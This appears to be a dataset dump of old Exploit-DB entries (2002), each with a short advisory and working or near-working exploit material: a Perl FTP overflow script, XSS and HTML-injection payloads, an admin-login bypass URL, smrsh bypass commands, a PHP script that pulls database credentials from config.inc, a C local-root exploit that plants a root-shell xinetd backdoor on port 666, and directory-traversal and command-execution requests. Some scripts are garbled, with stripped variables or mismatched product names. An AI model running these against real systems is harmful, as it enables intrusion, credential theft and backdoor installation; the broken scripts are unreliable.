QLWD/code_shield huggingface dataset:
标题: Cooolsoft PowerFTP Server 2.x - Remote Denial of Service (2) EDB-ID: 21908 CVE: 2002-1522 类型: DOS 平台: WINDOWS 发布日期: 2002-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/5899/info
 
PowerFTP server is a shareware ftp server available for the Microsoft Windows platform. It is distributed and maintained by Cooolsoft.
 
It has been reported that PowerFTP server does not properly handle long user names. When excessive data is supplied as an argument to the FTP 'USER' command, the server becomes unstable. Exploitation of this vulnerability typically results in a crash of the server, requiring a manual restart to resume FTP service. 

#!/usr/bin/perl
use IO::Socket;

##########################################################
#                                                        #
# Remote Stack Overflow sploit for PersonalFTPD          #
# If wanna talk with me find me on irc                   #
# irc.irochka.net #dwc, #global, #phreack                #
# ###################################################### #
# thanx to kabuto, drG4njubas, fnq                       #
# gr33tz to dhg, gipshack, rsteam, blacktigerz           #
# D4rkGr3y, r4ShRaY, DethSpirit, J0k3r, Foster, nik0     #
# ORB, Moby, 3APA3A, euronymous, L0vCh1Y, d1z            #
# ###################################################### #
# Vulnerability links:                                   #
# http://security.nnov.ru/search/document.asp?docid=4309 #
# http://www.securityfocus.com/archive/1/316958          #
#                                                        #
##########################################################

$data = "A";

print "[..] ::::::::::::::::::::::::::::::::::::::::::::: [..]\n";
print "[..] Remote Stack Overflow sploit for PersonalFTPD [..]\n";
print "[..]      by subj | dwc :: big 10x to Kabuto       [..]\n";
print "[..]    www.dwcgr0up.com www.dwcgr0up.com/subj/    [..]\n";
print "[..] ::::::::::::::::::::::::::::::::::::::::::::: [..]\n\n";

$count_param=@ARGV;
$n="0";
if ($count_param==0) {print "Usage: -h - host, -p - port, -b - buffer
size\n\n"; exit; }
while ($n<$count_param) {
if ($ARGV[$n] eq "-h") {$server=$ARGV[$n+1];}
if ($ARGV[$n] eq "-p") {$port=$ARGV[$n+1];}
if ($ARGV[$n] eq "-b") {$buf=$ARGV[$n+1];}
$n++;
}
&connect;

sub connect
{
$sock = IO::Socket::INET->new(PeerAddr => "$server", PeerPort => "$port",
Proto => "tcp")
        || die "Can\'t connect to $server port $port\n";
print $sock "USER $buffer\n";
print "Buffer has beens sended...";

}


close($sock);
exit; URL: https://www.exploit-db.com/exploits/21908
标题: Py-Membres 3.1 - 'index.php' Unauthorized Access EDB-ID: 21886 CVE: 2002-1884 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5849/info

A vulnerability has been reported for Py-Membres 3.1 that allows remote attackers to obtain administrative privileges on vulnerable installations.

Reportedly, Py-Membres does not fully check some URI parameters. Thus it is possible for an attacker to manipulate URI parameters and log into the system as an arbitrary user without the need for passwords. 

http://[target]/index.php?pymembs=admin URL: https://www.exploit-db.com/exploits/21886
标题: Monkey HTTP Server 0.1/0.4/0.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21880 CVE: 2002-1852 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5829/info

Monkey HTTP server is prone to cross site scripting vulnerabilities. 

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client visiting the malicious link in the context of the webserver.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

www.victim.com/<script>alert('test');</script>
www.victim.com/cgi-bin/test2.pl?<script>alert('test');</script> URL: https://www.exploit-db.com/exploits/21880
标题: Sendmail 8.12.x - SMRSH Double Pipe Access Validation EDB-ID: 21884 CVE: 2002-1165 类型: LOCAL 平台: UNIX 发布日期: 2002-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/5845/info

Sendmail is a freely available, open source mail transport agent. It is maintained and distributed by the Sendmail Consortium. Sendmail is available for the Unix and Linux operating systems.

smrsh is designed to prevent the execution of commands outside of the restricted environment. However, when commands are entered using either double pipes (||) or a mixture of dot (.) and slash (/) characters, a user may be able to bypass the checks performed by smrsh. This could lead to the execution of commands outside of the restricted environment. 

$ echo "echo unauthorized execute" > /tmp/unauth
$ smrsh -c ". || . /tmp/unauth || ."
/bin/sh: /etc/smrsh/.: is a directory
unauthorized execute

OR one of the following types of commands:

smrsh -c "/ command"
smrsh -c "../ command"
smrsh -c "./ command"
smrsh -c "././ command" URL: https://www.exploit-db.com/exploits/21884
标题: Midicart PHP - Information Disclosure EDB-ID: 21894 CVE: 2002-1798 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5851/info

A problem with the default installation of Midicart PHP may make it possible for remote users to gain access to sensitive information.

The default installation of Midicart PHP does not place sufficient access control on files residing in the 'admin' folder. Files in this folder are meant to be accessed by privileged individuals and may contain sensitive information.

http://<site>/admin/credit_card_info.php URL: https://www.exploit-db.com/exploits/21894
标题: TightAuction 3.0 - Config.INC Information Disclosure EDB-ID: 21893 CVE: 2002-1886 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5850/info

TightAuction is prone to an information disclosure vulnerability. The configuration file (config.inc) contains sensitive information such as database authentication credentials. It is possible for remote attackers to retrieve this file via a web request, and since the file does not have the correct extension (.inc.php) the contents will be rendered in a web browser instead of interpreted.


<?
$victime="http://[target]";
include("$victime/config.inc");
print("Infos de la DataBase du site $victime : \n \n");
print("Login : $DB_Username \nPassword : $DB_Password \nServer :
$DB_Database");
?> URL: https://www.exploit-db.com/exploits/21893
标题: Apache 1.3/2.0.x - Server Side Include Cross-Site Scripting EDB-ID: 21885 CVE: 2002-0840 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5847/info

Apache is reported to be vulnerable to cross site scripting attacks. This vulnerability is due to the SSI error pages of the webserver not being properly sanitized of malicious HTML code.

Attacker-supplied HTML and script code may be executed on a web client visiting the malicious link in the context of the webserver.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28document%2Ecookie%29%22
%3E.apachesite.org/raise_404 URL: https://www.exploit-db.com/exploits/21885
标题: Sun ONE Starter Kit 2.0 / ASTAware SearchDisc 3.1 - Search Engine Directory Traversal EDB-ID: 21879 CVE: 2002-1525 类型: WEBAPPS 平台: JAVA 发布日期: 2002-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5828/info

A vulnerability has been reported for the Sun ONE Starter Kit 2.0 and ASTAware SearchDisc. The Starter Kit includes a search engine facility provided for easy information retrieval. The search engine included with the Starter Kit is a modified version of ASTAWare SearchDisc. Reportedly, the search engine is vulnerable to directory traversal attacks.

An attacker can use the information obtained through this manner to launch potentially destructive attacks against a vulnerable system.

This vulnerability affects both the Sun ONE Starter Kit and ASTAware SearchDisc.

http://target:6015/../../../../../
http://target:6016/../../../../../
http://SearchDisk:6017/etc/Password
http://SearchDisk:6017/etc/Root URL: https://www.exploit-db.com/exploits/21879
标题: phpWebSite 0.8.3 - News Message HTML Injection EDB-ID: 21864 CVE: 2002-2178 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5802/info

Problems with phpWebSite could make it possible to execute arbitrary script code in a vulnerable client.

phpWebSite does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the phpWebSite software. 

<IMG SRC="javascript:alert('unsecure')"> URL: https://www.exploit-db.com/exploits/21864
标题: SafeTP 1.46 - Passive Mode Internal IP Address Revealing EDB-ID: 21876 CVE: 2002-1943 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/5822/info

SafeTP is a freely available, open source secure ftp client-server software package. It is available for Unix, Linux, and Microsoft Operating Systems.

It has been reported that under some circumstances, the SafeTP server may reveal sensitive network information. When a passive session is initiated in a specific manner, SafeTP may return the address of a system serving files that is behind at NAT firewall.

220-SafeTP: Negotiating FTP connection...
220-safetp.nowhere.com X2 WS_FTP Server 3.1.0 (1506847632)
220-Changed to Protect the Innocent
220-safetp.nowhere.com X2 WS_FTP Server 3.1.0 (1506847632)
220-*** This server can accept secure (encrypted) connections. ***
220-*** See http://safetp.cs.berkeley.edu for info. ***
220 SafeTP: Control channel secure: X-SafeTP1. Data channel secure. PBSZ=32801b
Connected to safetp.nowhere.com.
User: SomeUser
331 Password required
Password: *********
230-user logged in
230-Hello Some User. Welcome to the SafeTP File Transfer System!
230 user logged in
ftp> ls
200 PORT command ok.
Timed out waiting for connection from server.
ftp> passive
Passive mode On .
ftp> ls
425 Failed to connect to 192.168.3.162, port 3303: connect: Connection timed out (code 10060)
ftp> passive
Draining: 510 Assertion failed: ftpd reply: 150 Opening ASCII data connection for directory listing
Draining: 227 Entering Passive Mode (10,7,34,85,5,133).
Passive mode Off .
ftp> put tendot.txt
227 Entering passive mode (169,229,60,94,156,186).
150 Opening ASCII data connection for tendot.txt
226 transfer complete
ftp: 1094 bytes sent in 0.98Seconds 1.09Kbytes/sec.
ftp> quit
221-Good-Bye
221-Goodbye Some User. Thank you for visiting the SafeTP File Transfer System!
221 Good-Bye URL: https://www.exploit-db.com/exploits/21876
标题: vBulletin 2.0.3 - 'calendar.php' Command Execution EDB-ID: 21874 CVE: 2002-1660 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5820/info

A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters. 

An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.

http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22

where <command> signifies a command to be executed on the system. URL: https://www.exploit-db.com/exploits/21874
标题: EmuMail 5.0 Email Form - Script Injection EDB-ID: 21878 CVE: 2002-1526 类型: WEBAPPS 平台: CGI 发布日期: 2002-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5824/info

Emumail is an open source web mail application. It is available for the Unix, Linux, and Microsoft Windows operating systems.

It has been reported that EmuMail does not properly sanitize input. Under some conditions, it is possible to pass an email containing script or html code through the EmuMail web mail interface. This would result in execution of the script code in the security context of the EmuMail site.

Entering the string below into the email address field on the main form:

<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/21878
标题: Jetty 4.1 Servlet Engine - Cross-Site Scripting EDB-ID: 21875 CVE: 2002-1533 类型: WEBAPPS 平台: JSP 发布日期: 2002-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/5821/info

Jetty is a freely available, open source Java Web Server and Servlet Container. It is available for Linux, Unix, and Microsoft Windows platforms.

It has been reported that Jetty does not properly sanitize requests. This could result in a user clicking a malicious link that would execute script or HTML code in the security context of the site hosted by the Jetty server. An attacker could exploit this vulnerability to gain authentication cookies, or other sensitive information.

http://www.example.com/%0a%0a<script>alert("jax%20is%20ereet%20:P")</script>.jsp URL: https://www.exploit-db.com/exploits/21875
标题: EmuMail 5.0 - Web Root Full Path Disclosure EDB-ID: 21877 CVE: 2002-1527 类型: WEBAPPS 平台: CGI 发布日期: 2002-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5823/info

Emumail is an open source web mail application. It is available for the Unix, Linux, and Microsoft Windows operating systems.

Under some conditions, Emumail may reveal sensitive configuration information. When unexpected characters are inserted into some fields in web mail forms, the form generates an error. The error page returned may contain the directory to the web root on the Emumail server.

By inserting a string such into the Email form:

<script>alert(@)</script>

Will return:

"Software error:
/\s+)my.com)</script>\s+/: unmatched () in regexp at /home/EMU/webmail/html/emumail.cgi line 834. URL: https://www.exploit-db.com/exploits/21877
标题: Interbase 5/6 - GDS_Lock_MGR UMask File Permission Changing EDB-ID: 21865 CVE: 2002-1514 类型: LOCAL 平台: LINUX 发布日期: 2002-09-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5805/info

Interbase is a SQL database distributed and maintained by Borland. It is available for Unix and Linux operating systems.

The gds_lock_mgr program within Interbase is typically installed setuid. This program does not properly handle user-supplied umasks, and may allow the creation of files with insecure permissions as a privileged user.


// gds_lock_mgr easy local root compromise
// All cobalt Linux affected, and certain mandrake installations.
// Wouter ter Maat aka grazer - http://www.i-security.nl

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define BDPATH "/etc/xinetd.d/xinetdbd"
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"

int main() {

struct utsname buf;
char path[24], lnc[34];
 
FILE *fd;

/* check for a rootshell on port 666 after the machine has rebooted.
 * exploit written to work on a raq550 using xinetd
 */

char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
              "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
              "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
              "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
              "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
              "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
              "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
              "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
              "\x3d\x20\x2d\x69\n\x7d\n";

fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");

uname(&buf);
setenv("INTERBASE", "/tmp", 1); 
sprintf(path, "%s", "/tmp/isc_init1.");
strcat(path, buf.nodename);

chdir("/tmp");
umask(000);

sprintf(lnc, "ln %s -s %s", BDPATH, path);
system(lnc);

if(fd=fopen(GDSBIN, "r")) {
system(GDSBIN); close(fd); }
else {
fprintf(stderr, "%s not found...\n", GDSBIN); 
exit(0); }

if(fd=fopen(BDPATH, "w")) { 
fprintf(stderr,"     exploit succesfull...\n");
fprintf(fd, "%s", hexbd); close(fd);}
else {
fprintf(stderr, "exploit failed...\n"); 
exit(0); }

} URL: https://www.exploit-db.com/exploits/21865
标题: DaCode 1.2 - News Message HTML Injection EDB-ID: 21861 CVE: 2002-1805 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5798/info

Problems with DaCode could make it possible to execute arbitrary script code in a vulnerable client.

DaCode does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the DaCode software. 

<IMG SRC="javascript:alert('unsecure')"> URL: https://www.exploit-db.com/exploits/21861
标题: Drupal 4.0 - News Message HTML Injection EDB-ID: 21863 CVE: 2002-1806 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5801/info

Problems with Drupal could allow an attacker to execute arbitrary script code in a vulnerable client.

Drupal fails to sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in their browser. This will occur in the context of the site running the Drupal software. 

<IMG SRC="javascript:alert('unsecure')"> URL: https://www.exploit-db.com/exploits/21863
标题: ACWeb 1.14/1.8 - Cross-Site Scripting EDB-ID: 21858 CVE: 2002-2171 类型: REMOTE 平台: LINUX 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5793/info

acWEB is prone to cross-site scripting attacks. It is possible to construct a malicious link to the web server which contains arbitrary script code. When the link is visited, the script code will be executed in the web client of the user visiting the link. The code will be executed in the context of the webserver. 

http://www.victim.com/%db<script>alert('test');</script>/ URL: https://www.exploit-db.com/exploits/21858
标题: NPDS 4.8 - News Message HTML Injection EDB-ID: 21860 CVE: 2002-1804 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5797/info

Problems with NPDS could make it possible to execute arbitrary script code in a vulnerable client.

NPDS does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the NPDS software.

<IMG SRC="javascript:alert('unsecure')"> URL: https://www.exploit-db.com/exploits/21860
标题: OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification EDB-ID: 21856 CVE: 2002-1513 类型: LOCAL 平台: MULTIPLE 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5790/info

An issue with the UCX POP (Post Office Protocol) server used by OpenVMS has been reported. It is possible for a malicous local user to overwrite arbitrary files on the filesystem by exploiting a vulnerability in the UCX POP server.

$
$ break_it :== $sys$system:ucx$pop_server.exe
$ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE URL: https://www.exploit-db.com/exploits/21856
标题: PHP-Nuke 6.0 - News Message HTML Injection EDB-ID: 21859 CVE: 2002-1803 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5796/info

Problems with PHPNuke could make it possible to execute arbitrary script code in a vulnerable client.

PHPNuke does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the PHPNuke software. 

<IMG SRC="javascript:alert('unsecure')"> URL: https://www.exploit-db.com/exploits/21859
标题: Monkey HTTP Server 0.1.4 - File Disclosure EDB-ID: 21857 CVE: 2002-2154 类型: REMOTE 平台: LINUX 发布日期: 2002-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5792/info

Monkey HTTP server is prone to a directory-traversal bug that may allow attackers to access sensitive files.

By passing a malicious query to a vulnerable server, an attacker can potentially gain access to arbitrary webserver-readable files. This issue occurs because the application fails to sufficiently validate the user-supplied input. 

#!/usr/bin/perl
#
# (0 day;) Monkey-0.1.4 reverse traversal exploit
#
# Usage:
#    perl monkey.pl <hostname> <httpport> <file>
#
#    <hostname> - target host
#    <httpport> - port on which HTTP daemon is listening
#    <file>     - file which you wanna get
#
# Example:
#    perl monkey.pl www.ii-labs.org 80 /etc/passwd
#
#                             by DownBload <downbload@hotmail.com>
#                             Illegal Instruction Labs
#
use IO::Socket;

 sub sock () {
    = IO::Socket::INET->new (PeerAddr => ,
                                  PeerPort => ,
                                  Proto    => "tcp")
   || die "[ ERROR: Can't connect to !!! ]\n\n";
 }

 sub banner() {
  print "[--------------------------------------------------]\n";
  print "[       Monkey-0.1.4 reverse traversal exploit     ]\n";
  print "[        by DownBload <downbload\@hotmail.com>      ]\n";
  print "[             Illegal Instruction Labs             ]\n";
  print "[--------------------------------------------------]\n";
 }

 if (0ARGV != 2)
 {
  banner();
  print "[ Usage:                                           ]\n";
  print "[    perl monkey.pl <hostname> <httpport> <file>   ]\n";
  print "[--------------------------------------------------]\n";
  exit(0);
 }

  = [0];
  = [1];
  = [2];

 banner();
 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending probe... ]\n";
 print  "HEAD / HTTP/1.0\n\n";
 while ( = <>) {  =  . ; }
 if ( =~ /Monkey/) { print "[ Monkey HTTP server found,
continuing... ]\n"; }
 else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; }
 close ();

 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending GET request... ]\n";
 print  "GET //../../../../../../../../../ HTTP/1.0\n\n";
 print "[ Waiting for response... ]\n\n";
 while ( = <>) { print ; }
 close (); URL: https://www.exploit-db.com/exploits/21857
标题: Apache Tomcat 3/4 - 'DefaultServlet' File Disclosure EDB-ID: 21853 CVE: 2002-1148 类型: REMOTE 平台: UNIX 发布日期: 2002-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5786/info

The servlet 'org.apache.catalina.servlets.DefaultServlet' is included with Apache Tomcat by default. It is possible to use this servlet to view contents of files within the webroot. This includes JSP source code, which may contain sensitive data such as database usernames and passwords.

http://target/admin/servlet/org.apache.catalina.servlets.DefaultServlet/target.jsp URL: https://www.exploit-db.com/exploits/21853